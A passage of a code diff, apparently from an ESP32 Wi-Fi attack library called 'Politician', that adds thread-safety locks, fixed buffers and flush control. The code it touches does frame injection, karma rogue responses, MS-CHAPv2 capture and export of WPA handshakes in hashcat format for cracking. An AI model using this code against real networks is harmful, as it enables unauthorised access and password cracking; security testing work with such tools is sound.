(xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _probeWordlist = wordlist; + _probeWordlistLen = (wordlist != nullptr) ? count : 0; + xSemaphoreGiveRecursive(_lock); + } + } else { + _probeWordlist = wordlist; + _probeWordlistLen = (wordlist != nullptr) ? count : 0; + } } private: @@ -546,6 +816,8 @@ class Politician { static portMUX_TYPE _instanceMux; /** Set to true after the first successful begin() so subsequent calls skip WiFi driver init. */ static bool _wifiInitialized; + /** Instance currently holding an explicit RF channel lock (or nullptr). */ + static Politician *_channelLockOwner; RingbufHandle_t _rb = nullptr; TaskHandle_t _task = nullptr; @@ -555,6 +827,8 @@ class Politician { volatile bool _workerExited = true; volatile uint32_t _isrUsers = 0; + bool _txRaw(wifi_interface_t iface, const void *buf, uint16_t len); + void _populateApRecord(int idx, ApRecord &out) const; void _handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type); void _handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload, uint16_t len, int8_t rssi); void _handleData(const ieee80211_hdr_t *hdr, const uint8_t *payload, uint16_t len, int8_t rssi); @@ -578,7 +852,7 @@ class Politician { void _sendKarmaResponse(const uint8_t *client, const char *ssid, uint8_t ssid_len, uint8_t channel, int8_t rssi); #endif - bool _initialized = false; + volatile bool _initialized = false; volatile bool _active; uint8_t _channel; uint8_t _rxChannel; @@ -592,25 +866,27 @@ class Politician { DisconnectStrategy _disconnectStrategy; uint32_t _csaFallbackMs; - static const int MAX_INJECT_QUEUE = 4; + static const int MAX_INJECT_QUEUE = POLITICIAN_MAX_INJECT_QUEUE; struct InjectFrame { - bool active; - uint8_t payload[256]; + uint32_t lock_ms; uint16_t len; uint8_t channel; - uint32_t lock_ms; + bool active; + uint8_t payload[POLITICIAN_MAX_INJECT_LEN]; }; InjectFrame _injectQueue[MAX_INJECT_QUEUE]; + uint8_t _injectHead = 0; + uint8_t _injectCount = 0; - static const int MAX_ATTACK_OVERRIDES = 8; + static const int MAX_ATTACK_OVERRIDES = POLITICIAN_MAX_ATTACK_OVERRIDES; struct AttackOverride { bool active; uint8_t bssid[6]; uint8_t mask; }; AttackOverride _attackOverrides[MAX_ATTACK_OVERRIDES]; struct SsidOverride { bool active; char ssid[33]; uint8_t ssid_len; uint8_t mask; bool substring; }; - static const int MAX_SSID_OVERRIDES = 8; + static const int MAX_SSID_OVERRIDES = POLITICIAN_MAX_SSID_OVERRIDES; SsidOverride _ssidOverrides[MAX_SSID_OVERRIDES]; uint8_t _ssidOverrideIdx = 0; ///< Circular eviction pointer for the SSID override table. struct EapMethodSeen { uint8_t bssid[6]; uint8_t method; }; - static const uint8_t MAX_EAP_METHODS = 8; + static const uint8_t MAX_EAP_METHODS = POLITICIAN_MAX_EAP_METHODS; EapMethodSeen _eapMethods[MAX_EAP_METHODS]; uint8_t _eapMethodIdx = 0; uint8_t _getAttackMask(const uint8_t *bssid) const; @@ -658,15 +934,15 @@ class Politician { KarmaCb _karmaCb = nullptr; bool _karmaEnabled = false; // Circular SSID dedup table — avoid spamming one client with repeated responses - static const int MAX_KARMA_SEEN = 16; - struct KarmaSeen { uint8_t client[6]; char ssid[33]; uint32_t last_ms; }; + static const int MAX_KARMA_SEEN = POLITICIAN_MAX_KARMA_SEEN; + struct KarmaSeen { uint32_t last_ms; uint8_t client[6]; char ssid[33]; }; KarmaSeen _karmaSeen[MAX_KARMA_SEEN]; uint8_t _karmaSeenIdx = 0; #endif #ifndef POLITICIAN_NO_MSCHAPV2 MsChapCb _msChapCb = nullptr; // Challenge session table: correlates server challenge (from AP) with response (from client) - static const int MAX_MSCHAP_SESSIONS = 4; + static const int MAX_MSCHAP_SESSIONS = POLITICIAN_MAX_MSCHAP_SESSIONS; struct MsChapSession { bool active; uint8_t bssid[6]; @@ -679,37 +955,27 @@ class Politician { const char * const * _probeWordlist = nullptr; uint8_t _probeWordlistLen = 0; +#ifdef POLITICIAN_NO_LOGGING + inline void _log(const char *, ...) {} +#else void _log(const char *fmt, ...); +#endif - static const int MAX_IGNORE = 128; + static const int MAX_IGNORE = POLITICIAN_MAX_IGNORE; uint8_t _ignoreList[MAX_IGNORE][6]; uint8_t _ignoreCount; static const int MAX_AP_CACHE = POLITICIAN_MAX_AP_CACHE; struct ApCacheEntry { - uint8_t bssid[6]; - char ssid[33]; - uint8_t ssid_len; - uint8_t enc; - uint8_t channel; - int8_t rssi; uint32_t first_seen_ms; uint32_t last_seen_ms; uint32_t last_probe_ms; uint32_t last_stimulate_ms; uint32_t last_hidden_probe_ms; // Timestamp of last directed probe for hidden SSID - uint8_t known_stas[4][6]; // Up to 4 persistently tracked client MACs - uint8_t known_sta_count; + uint32_t last_attack_ms; // millis() when the most recent attack was initiated uint16_t beacon_count; // Times this AP has been observed - uint8_t total_attempts; // Total failed attack attempts against this AP - char country[3]; // IE 7 country code (e.g. "US"), empty if absent uint16_t beacon_interval; // Beacon interval in TUs from fixed fields - uint8_t max_rate_mbps; // Highest rate from Supported Rates IE (Mbps) uint16_t sta_count; // Connected client count from BSS Load - uint8_t chan_util; // Channel utilization (0-255) - uint8_t venue_group; // 802.11u Venue Group - uint8_t venue_type; // 802.11u Venue Type - uint8_t network_type; // 802.11u Access Network Type struct { uint16_t active : 1; uint16_t has_active_clients : 1; @@ -722,9 +988,23 @@ class Politician { uint16_t is_vht : 1; // 802.11ac capable uint16_t is_he : 1; // 802.11ax capable } flags; + uint8_t bssid[6]; + char ssid[33]; + uint8_t known_stas[4][6]; // Up to 4 persistently tracked client MACs + char country[3]; // IE 7 country code (e.g. "US"), empty if absent + uint8_t ssid_len; + uint8_t enc; + uint8_t channel; + int8_t rssi; + uint8_t known_sta_count; + uint8_t total_attempts; // Total failed attack attempts against this AP + uint8_t max_rate_mbps; // Highest rate from Supported Rates IE (Mbps) + uint8_t chan_util; // Channel utilization (0-255) + uint8_t venue_group; // 802.11u Venue Group + uint8_t venue_type; // 802.11u Venue Type + uint8_t network_type; // 802.11u Access Network Type uint8_t chan_width; // Max channel width: 0=20 1=40 2=80 3=160 4=80+80 (MHz) uint8_t probe_word_idx; // Next wordlist index to probe for this hidden AP - uint32_t last_attack_ms; // millis() when the most recent attack was initiated uint8_t capture_count; // Number of successful captures for this BSSID uint8_t pairwise_cipher; // CIPHER_TKIP/CIPHER_CCMP/CIPHER_UNKNOWN from RSN IE }; diff --git a/src/PoliticianFingerprint.h b/src/PoliticianFingerprint.h index 233ba40..9756d25 100644 --- a/src/PoliticianFingerprint.h +++ b/src/PoliticianFingerprint.h @@ -60,32 +60,62 @@ using DeviceFoundCb = void (*)(const DeviceRecord &rec); // ─── Detector ───────────────────────────────────────────────────────────────── class Detector { public: - explicit Detector(Politician &engine) { - _inst = this; - _userFpCount = 0; - _seenHead = 0; - _seenFill = 0; + explicit Detector(Politician &engine) + : _mux(portMUX_INITIALIZER_UNLOCKED), + _cb(nullptr), + _minConf(50), + _userFpCount(0), + _seenHead(0), + _seenFill(0) { + _instancePtr() = this; memset(_seen, 0, sizeof(_seen)); memset(_userFps, 0, sizeof(_userFps)); engine._setFingerprintHook(_hook); } - void setCallback(DeviceFoundCb cb) { _cb = cb; } - void setMinConfidence(uint8_t pct) { _minConf = pct; } + ~Detector() { + if (_instancePtr() == this) { + _instancePtr() = nullptr; + } + } + + void setCallback(DeviceFoundCb cb) { + portENTER_CRITICAL(&_mux); + _cb = cb; + portEXIT_CRITICAL(&_mux); + } + + void setMinConfidence(uint8_t pct) { + portENTER_CRITICAL(&_mux); + _minConf = pct; + portEXIT_CRITICAL(&_mux); + } bool addFingerprint(const DeviceFingerprint &fp) { - if (_userFpCount >= POLITICIAN_MAX_FP_USER) return false; + portENTER_CRITICAL(&_mux); + if (_userFpCount >= POLITICIAN_MAX_FP_USER) { + portEXIT_CRITICAL(&_mux); + return false; + } _userFps[_userFpCount++] = fp; + portEXIT_CRITICAL(&_mux); return true; } void resetCache() { + portENTER_CRITICAL(&_mux); memset(_seen, 0, sizeof(_seen)); _seenHead = 0; _seenFill = 0; + portEXIT_CRITICAL(&_mux); } private: + static Detector *&_instancePtr() { + static Detector *inst = nullptr; + return inst; + } + // ── IE signal container (parsed once per frame) ─────────────────────────── struct IeSignals { bool has_ht; @@ -130,15 +160,25 @@ class Detector { static void _hook(const uint8_t *mac, const char *ssid, uint8_t ssid_len, uint8_t ch, int8_t rssi, const uint8_t *ie, uint16_t ie_len) { - if (_inst) _inst->_process(mac, ssid, ssid_len, ch, rssi, ie, ie_len); + Detector *inst = _instancePtr(); + if (inst) inst->_process(mac, ssid, ssid_len, ch, rssi, ie, ie_len); } void _process(const uint8_t *mac, const char *ssid, uint8_t ssid_len, uint8_t ch, int8_t rssi, const uint8_t *ie, uint16_t ie_len) { if (mac[0] & 0x02) return; // skip randomized MACs + portENTER_CRITICAL(&_mux); int idx = _findSeen(mac); - if (idx >= 0) { _seen[idx].rssi = rssi; return; } // silent RSSI refresh + if (idx >= 0) { + _seen[idx].rssi = rssi; + portEXIT_CRITICAL(&_mux); + return; // silent RSSI refresh + } + uint8_t userCnt = _userFpCount; + uint8_t minConf = _minConf; + DeviceFoundCb cb = _cb; + portEXIT_CRITICAL(&_mux); IeSignals sig = _parseIe(ie, ie_len); @@ -206,7 +246,7 @@ class Detector { } }; - scanUser(_userFps, _userFpCount); + scanUser(_userFps, userCnt); #ifndef POLITICIAN_NO_DB int left = 0, right = _FP_OUI_DB_COUNT - 1; @@ -224,10 +264,13 @@ class Detector { } #endif - if (!bestVendor || bestConf < _minConf) return; + if (!bestVendor || bestConf < minConf) return; + + portENTER_CRITICAL(&_mux); _markSeen(mac, rssi); + portEXIT_CRITICAL(&_mux); - if (!_cb) return; + if (!cb) return; DeviceRecord rec; memset(&rec, 0, sizeof(rec)); memcpy(rec.mac, mac, 6); @@ -237,8 +280,8 @@ class Detector { rec.rssi = rssi; rec.confidence = bestConf; rec.match_flags = bestFlags; - _cb(rec); - } + cb(rec); + } int _findSeen(const uint8_t *mac) const { for (int i = 0; i < _seenFill; i++) @@ -254,13 +297,12 @@ class Detector { if (_seenFill < POLITICIAN_MAX_FP_SEEN) _seenFill++; } - inline static Detector *_inst = nullptr; - - DeviceFoundCb _cb = nullptr; - uint8_t _minConf = 50; + mutable portMUX_TYPE _mux; + DeviceFoundCb _cb; + uint8_t _minConf; DeviceFingerprint _userFps[POLITICIAN_MAX_FP_USER]; - uint8_t _userFpCount; + uint8_t _userFpCount; struct SeenEntry { bool active; uint8_t mac[6]; int8_t rssi; }; SeenEntry _seen[POLITICIAN_MAX_FP_SEEN]; diff --git a/src/PoliticianFormat.cpp b/src/PoliticianFormat.cpp index 85a88fc..3c6cea6 100644 --- a/src/PoliticianFormat.cpp +++ b/src/PoliticianFormat.cpp @@ -4,71 +4,105 @@ namespace politician { namespace format { -static void appendHex(std::string& str, const uint8_t* data, size_t len) { - char buf[3]; +static bool writeHexToBuf(char* buf, size_t max_len, size_t& pos, const uint8_t* data, size_t len) { + static const char HEX_LUT[17] = "0123456789abcdef"; + if (pos + (len * 2) >= max_len) return false; for (size_t i = 0; i < len; i++) { - sprintf(buf, "%02x", data[i]); - str += buf; + uint8_t b = data[i]; + buf[pos++] = HEX_LUT[b >> 4]; + buf[pos++] = HEX_LUT[b & 0x0F]; } + return true; } -std::string toHC22000(const HandshakeRecord& rec) { +static bool writeCharToBuf(char* buf, size_t max_len, size_t& pos, char c) { + if (pos + 1 >= max_len) return false; + buf[pos++] = c; + return true; +} + +static bool writeStrToBuf(char* buf, size_t max_len, size_t& pos, const char* s, size_t slen) { + if (pos + slen >= max_len) return false; + memcpy(buf + pos, s, slen); + pos += slen; + return true; +} + +size_t toHC22000(const HandshakeRecord& rec, char* buffer, size_t max_len) { #ifndef POLITICIAN_NO_HC22000 - if (rec.type == CAP_EAPOL_HALF) return std::string(); // No anonce — not crackable - + if (!buffer || max_len == 0) return 0; + buffer[0] = '\0'; + if (rec.type == CAP_EAPOL_HALF) return 0; // No anonce — not crackable + // Hashcat 22000 Format: // WPA*TYPE*MIC*BSSID*STA*SSID*ANONCE*EAPOL*KEYVER*KEYDATA - - std::string out = "WPA*"; - + size_t pos = 0; + if (!writeStrToBuf(buffer, max_len, pos, "WPA*", 4)) { buffer[0] = '\0'; return 0; } + // 1. TYPE - if (rec.type == CAP_PMKID) out += "01*"; - else if (rec.type == CAP_SAE) out += "06*"; - else out += "02*"; + if (rec.type == CAP_PMKID) { + if (!writeStrToBuf(buffer, max_len, pos, "01*", 3)) { buffer[0] = '\0'; return 0; } + } else if (rec.type == CAP_SAE) { + if (!writeStrToBuf(buffer, max_len, pos, "06*", 3)) { buffer[0] = '\0'; return 0; } + } else { + if (!writeStrToBuf(buffer, max_len, pos, "02*", 3)) { buffer[0] = '\0'; return 0; } + } // 2. MIC (Field 3) - if (rec.type == CAP_PMKID || rec.type == CAP_SAE) { - out += "*"; // Empty for PMKID/SAE - } else { - appendHex(out, rec.mic, 16); - out += "*"; + if (rec.type != CAP_PMKID && rec.type != CAP_SAE) { + if (!writeHexToBuf(buffer, max_len, pos, rec.mic, 16)) { buffer[0] = '\0'; return 0; } } + if (!writeCharToBuf(buffer, max_len, pos, '*')) { buffer[0] = '\0'; return 0; } // 3. BSSID (Field 4) - appendHex(out, rec.bssid, 6); - out += "*"; + if (!writeHexToBuf(buffer, max_len, pos, rec.bssid, 6)) { buffer[0] = '\0'; return 0; } + if (!writeCharToBuf(buffer, max_len, pos, '*')) { buffer[0] = '\0'; return 0; } // 4. STA (Field 5) - appendHex(out, rec.sta, 6); - out += "*"; + if (!writeHexToBuf(buffer, max_len, pos, rec.sta, 6)) { buffer[0] = '\0'; return 0; } + if (!writeCharToBuf(buffer, max_len, pos, '*')) { buffer[0] = '\0'; return 0; } // 5. SSID (Field 6) - appendHex(out, (const uint8_t*)rec.ssid, rec.ssid_len); - out += "*"; + if (!writeHexToBuf(buffer, max_len, pos, (const uint8_t*)rec.ssid, rec.ssid_len)) { buffer[0] = '\0'; return 0; } + if (!writeCharToBuf(buffer, max_len, pos, '*')) { buffer[0] = '\0'; return 0; } // 6. ANONCE (Field 7) if (rec.type == CAP_EAPOL || rec.type == CAP_EAPOL_CSA) { - appendHex(out, rec.anonce, 32); + if (!writeHexToBuf(buffer, max_len, pos, rec.anonce, 32)) { buffer[0] = '\0'; return 0; } } - out += "*"; + if (!writeCharToBuf(buffer, max_len, pos, '*')) { buffer[0] = '\0'; return 0; } // 7. EAPOL/M2 (Field 8) if (rec.type == CAP_EAPOL || rec.type == CAP_EAPOL_CSA) { - appendHex(out, rec.eapol_m2, rec.eapol_m2_len); + if (!writeHexToBuf(buffer, max_len, pos, rec.eapol_m2, rec.eapol_m2_len)) { buffer[0] = '\0'; return 0; } } - out += "*"; + if (!writeCharToBuf(buffer, max_len, pos, '*')) { buffer[0] = '\0'; return 0; } // 8. KEYVER (Field 9) - out += "02*"; // Default to WPA2/AES + if (!writeStrToBuf(buffer, max_len, pos, "02*", 3)) { buffer[0] = '\0'; return 0; } // 9. KEYDATA (Field 10) - Used for PMKID or SAE elements if (rec.type == CAP_PMKID) { - appendHex(out, rec.pmkid, 16); + if (!writeHexToBuf(buffer, max_len, pos, rec.pmkid, 16)) { buffer[0] = '\0'; return 0; } } else if (rec.type == CAP_SAE) { - appendHex(out, rec.sae_data, rec.sae_len); + if (!writeHexToBuf(buffer, max_len, pos, rec.sae_data, rec.sae_len)) { buffer[0] = '\0'; return 0; } } - - return out; + + buffer[pos] = '\0'; + return pos; +#else + (void)rec; + if (buffer && max_len > 0) buffer[0] = '\0'; + return 0; +#endif +} + +std::string toHC22000(const HandshakeRecord& rec) { +#ifndef POLITICIAN_NO_HC22000 + char buf[768]; + size_t n = toHC22000(rec, buf, sizeof(buf)); + if (n == 0) return std::string(); + return std::string(buf, n); #else (void)rec; return std::string(); diff --git a/src/PoliticianFormat.h b/src/PoliticianFormat.h index a6c6f48..9806b50 100644 --- a/src/PoliticianFormat.h +++ b/src/PoliticianFormat.h @@ -6,6 +6,17 @@ namespace politician { namespace format { +/** + * @brief Converts a captured HandshakeRecord into the Hashcat 22000 (hc22000) text format + * inside a caller-supplied buffer with zero heap allocation. + * + * @param rec The captured handshake or PMKID record. + * @param buffer Destination character buffer (recommended >= 768 bytes). + * @param max_len Capacity of @p buffer in bytes (including null terminator). + * @return Number of characters written (excluding null terminator), or 0 if unsupported or buffer too small. + */ +size_t toHC22000(const HandshakeRecord& rec, char* buffer, size_t max_len); + /** * @brief Converts a captured HandshakeRecord into the Hashcat 22000 (hc22000) text format. * diff --git a/src/PoliticianStorage.h b/src/PoliticianStorage.h index 53f181e..889dbbb 100644 --- a/src/PoliticianStorage.h +++ b/src/PoliticianStorage.h @@ -91,22 +91,42 @@ inline void setTimestampProvider(detail::TimestampCb cb) { */ class PcapngFileLogger { public: - PcapngFileLogger() : _fs(nullptr), _open(false) {} + PcapngFileLogger() : _fs(nullptr), _open(false), _autoFlush(true), _maxBytes(0), _bytesWritten(0), _fileIdx(0) {} ~PcapngFileLogger() { close(); } + /** + * @brief Enables or disables automatic SD/flash flushing after every write. + * + * Disabling auto-flush (`setAutoFlush(false)`) avoids synchronous FAT table + * updates on every packet during high-rate captures. Call `flush()` or `close()` + * periodically from the main loop to commit buffered data to storage. + * + * @param enable true to flush after every write (default), false to buffer in VFS. + */ + void setAutoFlush(bool enable) { _autoFlush = enable; } + + /** + * @brief Flushes any buffered PCAPNG data to the underlying storage medium. + */ + void flush() { + if (_open) _file.flush(); + } + /** * @brief Opens the PCAPNG file for streaming writes. * Writes the global Section Header Block if the file is new or empty. * - * @param fs The filesystem (e.g., SD, LittleFS) - * @param path The file path (e.g., "/captures.pcapng") + * @param fs The filesystem (e.g., SD, LittleFS) + * @param path The file path (e.g., "/captures.pcapng") + * @param maxBytes Optional maximum file size in bytes before rotating to a new file (0 = no rotation) * @return true if the file was opened successfully */ bool open(fs::FS &fs, const char *path, uint32_t maxBytes = 0) { if (_open) close(); _fs = &fs; _maxBytes = maxBytes; + _bytesWritten = 0; _fileIdx = 0; if (path) { strncpy(_basePath, path, sizeof(_basePath) - 1); @@ -118,7 +138,11 @@ class PcapngFileLogger { bool isNew = !fs.exists(path); if (!isNew) { fs::File check = fs.open(path, FILE_READ); - if (check) { isNew = (check.size() == 0); check.close(); } + if (check) { + _bytesWritten = (uint32_t)check.size(); + isNew = (_bytesWritten == 0); + check.close(); + } } _file = fs.open(path, FILE_APPEND); @@ -127,7 +151,10 @@ class PcapngFileLogger { if (isNew) { uint8_t hdr[48]; size_t hl = format::writePcapngGlobalHeader(hdr); - _file.write(hdr, hl); + if (hl > 0) { + _file.write(hdr, hl); + _bytesWritten += (uint32_t)hl; + } } _open = true; return true; @@ -135,35 +162,117 @@ class PcapngFileLogger { /** * @brief Writes a HandshakeRecord to the open file. + * @param rec The captured HandshakeRecord to serialize and write. * @return true if data was written, false if the logger is not open or serialization failed */ bool write(const HandshakeRecord &rec) { if (!_open) return false; _checkRotate(); if (!_open) return false; - uint8_t buf[512]; + uint8_t buf[1024]; size_t len = format::writePcapngRecord(rec, buf, sizeof(buf)); - if (len > 0) { _file.write(buf, len); _file.flush(); } + if (len > 0) { + _file.write(buf, len); + _bytesWritten += (uint32_t)len; + if (_autoFlush) _file.flush(); + } return len > 0; } /** - * @brief Writes a raw 802.11 sniffer frame to the open file. + * @brief Writes a raw 802.11 sniffer frame to the open file without large stack allocations. + * @param payload Raw 802.11 frame bytes. + * @param len Length of @p payload in bytes. + * @param rssi Received signal strength in dBm. + * @param channel 802.11 channel number. + * @param ts_usec Hardware timestamp in microseconds. * @return true if data was written, false if the logger is not open or serialization failed */ bool writePacket(const uint8_t *payload, uint16_t len, int8_t rssi, uint8_t channel, uint32_t ts_usec) { - if (!_open) return false; +#ifndef POLITICIAN_NO_PCAPNG + if (!_open || !payload || len == 0) return false; _checkRotate(); if (!_open) return false; - uint8_t buf[2500]; // Max 802.11 frame is 2346 bytes - size_t wlen = format::writePcapngPacket(payload, len, rssi, channel, ts_usec, buf, sizeof(buf)); - if (wlen > 0) { _file.write(buf, wlen); _file.flush(); } - return wlen > 0; + + uint16_t freq = 0; + uint16_t chan_flags = 0; + if (channel <= 14) { + freq = 2407 + (channel * 5); + if (channel == 14) freq = 2484; + chan_flags = 0x00A0; + } else { + freq = 5000 + (channel * 5); + chan_flags = 0x0140; + } + + uint32_t rt_len = 14; + uint32_t cap_len = (uint32_t)len + rt_len; + uint32_t pkt_len = cap_len; + uint32_t aligned_pkt_len = (cap_len + 3u) & ~3u; + uint32_t pkt_padding = aligned_pkt_len - cap_len; + uint32_t opt_len = 20; + uint32_t block_len = 32 + aligned_pkt_len + opt_len; + + uint8_t hdr[42]; + uint32_t epb_type = 0x00000006; + uint32_t interface_id = 0; + uint64_t ts64 = (uint64_t)ts_usec; + uint32_t ts_high = (uint32_t)(ts64 >> 32); + uint32_t ts_low = (uint32_t)(ts64 & 0xFFFFFFFFu); + + memcpy(hdr + 0, &epb_type, 4); + memcpy(hdr + 4, &block_len, 4); + memcpy(hdr + 8, &interface_id, 4); + memcpy(hdr + 12, &ts_high, 4); + memcpy(hdr + 16, &ts_low, 4); + memcpy(hdr + 20, &cap_len, 4); + memcpy(hdr + 24, &pkt_len, 4); + + // Radiotap header (14 bytes) at hdr + 28 + hdr[28] = 0x00; hdr[29] = 0x00; + hdr[30] = 0x0E; hdr[31] = 0x00; + hdr[32] = 0x28; hdr[33] = 0x00; hdr[34] = 0x00; hdr[35] = 0x00; + hdr[36] = (uint8_t)(freq & 0xFF); hdr[37] = (uint8_t)(freq >> 8); + hdr[38] = (uint8_t)(chan_flags & 0xFF); hdr[39] = (uint8_t)(chan_flags >> 8); + hdr[40] = (uint8_t)rssi; + hdr[41] = 0x00; + + uint8_t tail[28]; + memset(tail, 0, sizeof(tail)); + size_t tpos = pkt_padding; + uint16_t opt_code = 0x8001; uint16_t opt_vlen = 1; + memcpy(tail + tpos, &opt_code, 2); tpos += 2; + memcpy(tail + tpos, &opt_vlen, 2); tpos += 2; + tail[tpos++] = (uint8_t)rssi; + tpos += 3; + + opt_code = 0x8002; opt_vlen = 1; + memcpy(tail + tpos, &opt_code, 2); tpos += 2; + memcpy(tail + tpos, &opt_vlen, 2); tpos += 2; + tail[tpos++] = channel; + tpos += 3; + + opt_code = 0x0000; opt_vlen = 0; + memcpy(tail + tpos, &opt_code, 2); tpos += 2; + memcpy(tail + tpos, &opt_vlen, 2); tpos += 2; + + memcpy(tail + tpos, &block_len, 4); tpos += 4; + + _file.write(hdr, sizeof(hdr)); + _file.write(payload, len); + _file.write(tail, tpos); + _bytesWritten += block_len; + if (_autoFlush) _file.flush(); + return true; +#else + (void)payload; (void)len; (void)rssi; (void)channel; (void)ts_usec; + return false; +#endif } /** @brief Closes the underlying file handle. Safe to call multiple times. */ void close() { - if (_open) { _file.close(); _open = false; _fs = nullptr; } + if (_open) { _file.flush(); _file.close(); _open = false; _fs = nullptr; } } /** @brief Returns true if the file is currently open for streaming. */ @@ -193,7 +302,8 @@ class PcapngFileLogger { private: void _checkRotate() { if (!_open || _maxBytes == 0) return; - if ((uint32_t)_file.size() < _maxBytes) return; + if (_bytesWritten < _maxBytes) return; + _file.flush(); _file.close(); _fileIdx++; char rotPath[80]; @@ -201,15 +311,19 @@ class PcapngFileLogger { if (dot) { size_t base_len = (size_t)(dot - _basePath); snprintf(rotPath, sizeof(rotPath), "%.*s_%02u%s", - (int)base_len, _basePath, _fileIdx, dot); + (int)base_len, _basePath, (unsigned)_fileIdx, dot); } else { - snprintf(rotPath, sizeof(rotPath), "%s_%02u", _basePath, _fileIdx); + snprintf(rotPath, sizeof(rotPath), "%s_%02u", _basePath, (unsigned)_fileIdx); } _file = _fs->open(rotPath, FILE_WRITE); + _bytesWritten = 0; if (_file) { uint8_t hdr[48]; size_t hl = format::writePcapngGlobalHeader(hdr); - _file.write(hdr, hl); + if (hl > 0) { + _file.write(hdr, hl); + _bytesWritten = (uint32_t)hl; + } } else { _open = false; } @@ -218,9 +332,11 @@ class PcapngFileLogger { fs::FS *_fs; fs::File _file; bool _open; - uint32_t _maxBytes = 0; + bool _autoFlush; + uint32_t _maxBytes; + uint32_t _bytesWritten; char _basePath[64] = {}; - uint8_t _fileIdx = 0; + uint16_t _fileIdx; }; /** @@ -230,12 +346,27 @@ class PcapngFileLogger { */ class Hc22000FileLogger { public: - Hc22000FileLogger() : _open(false) {} + Hc22000FileLogger() : _open(false), _autoFlush(true) {} ~Hc22000FileLogger() { close(); } + /** + * @brief Enables or disables automatic flushing after every write. + * @param enable true to flush after every write (default), false to buffer. + */ + void setAutoFlush(bool enable) { _autoFlush = enable; } + + /** + * @brief Flushes buffered HC22000 lines to storage. + */ + void flush() { + if (_open) _file.flush(); + } + /** * @brief Opens the HC22000 file for streaming writes. + * @param fs The filesystem (e.g., SD, LittleFS) + * @param path The file path (e.g., "/hashes.hc22000") * @return true if successful */ bool open(fs::FS &fs, const char *path) { @@ -247,19 +378,25 @@ class Hc22000FileLogger { } /** - * @brief Writes a HandshakeRecord to the open file. + * @brief Writes a HandshakeRecord to the open file without heap allocation. + * @param rec The captured HandshakeRecord to format and write. * @return true if data was written */ bool write(const HandshakeRecord &rec) { if (!_open) return false; - std::string str = format::toHC22000(rec); - if (!str.empty()) { _file.println(str.c_str()); _file.flush(); } - return !str.empty(); + char buf[768]; + size_t n = format::toHC22000(rec, buf, sizeof(buf)); + if (n > 0) { + _file.println(buf); + if (_autoFlush) _file.flush(); + return true; + } + return false; } /** @brief Closes the underlying file handle. Safe to call multiple times. */ void close() { - if (_open) { _file.close(); _open = false; } + if (_open) { _file.flush(); _file.close(); _open = false; } } /** @brief Returns true if the file is currently open for streaming. */ @@ -277,6 +414,7 @@ class Hc22000FileLogger { private: fs::File _file; bool _open; + bool _autoFlush; }; /** @@ -287,6 +425,78 @@ class Hc22000FileLogger { */ class WigleCsvLogger { public: + WigleCsvLogger() : _open(false), _autoFlush(true) {} + + ~WigleCsvLogger() { close(); } + + /** + * @brief Enables or disables automatic flushing after every write. + * @param enable true to flush after every write (default), false to buffer. + */ + void setAutoFlush(bool enable) { _autoFlush = enable; } + + /** @brief Flushes buffered CSV rows to storage. */ + void flush() { + if (_open) _file.flush(); + } + + /** + * @brief Opens a Wigle CSV file for persistent streaming writes. + * @param fs The filesystem (e.g., SD, LittleFS) + * @param path The path to the file (e.g., "/wardrive.csv") + * @return true if opened successfully + */ + bool open(fs::FS &fs, const char *path) { + if (_open) close(); + _file = _openWithHeader(fs, path); + _open = (bool)_file; + return _open; + } + + /** + * @brief Writes a HandshakeRecord row to the currently open Wigle CSV file. + * @param rec The captured HandshakeRecord + * @param lat Current GPS Latitude + * @param lon Current GPS Longitude + * @param alt Current GPS Altitude in meters + * @param acc GPS Accuracy radius in meters + * @param timestamp Optional timestamp override ("YYYY-MM-DD HH:MM:SS") + * @return true if written successfully + */ + bool write(const HandshakeRecord &rec, float lat, float lon, float alt = 0.0f, + float acc = 10.0f, const char *timestamp = nullptr) { + if (!_open) return false; + _writeRow(_file, rec.bssid, rec.ssid, rec.enc, rec.channel, rec.rssi, lat, lon, alt, acc, timestamp); + if (_autoFlush) _file.flush(); + return true; + } + + /** + * @brief Writes an ApRecord row to the currently open Wigle CSV file. + * @param ap The discovered ApRecord + * @param lat Current GPS Latitude + * @param lon Current GPS Longitude + * @param alt Current GPS Altitude in meters + * @param acc GPS Accuracy radius in meters + * @param timestamp Optional timestamp override ("YYYY-MM-DD HH:MM:SS") + * @return true if written successfully + */ + bool writeAp(const ApRecord &ap, float lat, float lon, float alt = 0.0f, + float acc = 10.0f, const char *timestamp = nullptr) { + if (!_open) return false; + _writeRow(_file, ap.bssid, ap.ssid, ap.enc, ap.channel, ap.rssi, lat, lon, alt, acc, timestamp); + if (_autoFlush) _file.flush(); + return true; + } + + /** @brief Closes the open CSV file handle. */ + void close() { + if (_open) { _file.flush(); _file.close(); _open = false; } + } + + /** @brief Returns true if the CSV file is currently open. */ + bool isOpen() const { return _open; } + /** * @brief Appends a HandshakeRecord's details alongside GPS coordinates to a Wigle CSV. * @@ -297,6 +507,7 @@ class WigleCsvLogger { * @param lon Current GPS Longitude * @param alt (Optional) Current GPS Altitude in meters * @param acc (Optional) GPS Accuracy radius in meters + * @param timestamp (Optional) Timestamp string * @return true if successful, false if file could not be opened */ static bool append(fs::FS &fs, const char* path, const HandshakeRecord& rec, @@ -304,17 +515,7 @@ class WigleCsvLogger { const char* timestamp = nullptr) { fs::File file = _openWithHeader(fs, path); if (!file) return false; - - char ssidEscaped[72]; // 32 chars worst-case doubled + 2 quotes + NUL - detail::escapeCsvField(rec.ssid, ssidEscaped, sizeof(ssidEscaped)); - - char line[256]; - snprintf(line, sizeof(line), "%02X:%02X:%02X:%02X:%02X:%02X,%s,%s,%s,%d,%d,%.6f,%.6f,%.1f,%.1f,WIFI", - rec.bssid[0], rec.bssid[1], rec.bssid[2], rec.bssid[3], rec.bssid[4], rec.bssid[5], - ssidEscaped, _authStr(rec.enc), timestamp ? timestamp : detail::_timestamp(), - rec.channel, rec.rssi, lat, lon, alt, acc); - - file.println(line); + _writeRow(file, rec.bssid, rec.ssid, rec.enc, rec.channel, rec.rssi, lat, lon, alt, acc, timestamp); file.flush(); file.close(); return true; @@ -331,6 +532,7 @@ class WigleCsvLogger { * @param lon Current GPS Longitude * @param alt (Optional) Current GPS Altitude in meters * @param acc (Optional) GPS Accuracy radius in meters + * @param timestamp (Optional) Timestamp string * @return true if successful, false if file could not be opened */ static bool appendAp(fs::FS &fs, const char* path, const ApRecord& ap, @@ -338,23 +540,27 @@ class WigleCsvLogger { const char* timestamp = nullptr) { 